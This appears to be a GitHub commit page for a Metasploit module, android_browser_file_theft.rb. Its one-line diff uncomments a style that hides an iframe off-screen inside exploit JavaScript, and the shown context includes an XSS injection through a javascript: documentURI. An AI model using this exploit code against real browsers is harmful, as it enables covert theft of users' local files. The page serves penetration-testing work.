Skip to content

Commit 7db3277

Browse files
committed
Actually hide the iframe.
1 parent 3c5d7b3 commit 7db3277

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/auxiliary/gather/android_browser_file_theft.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -164,7 +164,7 @@ def exploit_js
164164
165165
var brokenFrame = document.createElement('iframe');
166166
brokenFrame.src = 'http://localhost:100';
167-
//brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
167+
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
168168
brokenFrame.onload = function() {
169169
brokenFrame.onload = null;
170170
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';

0 commit comments

Comments
 (0)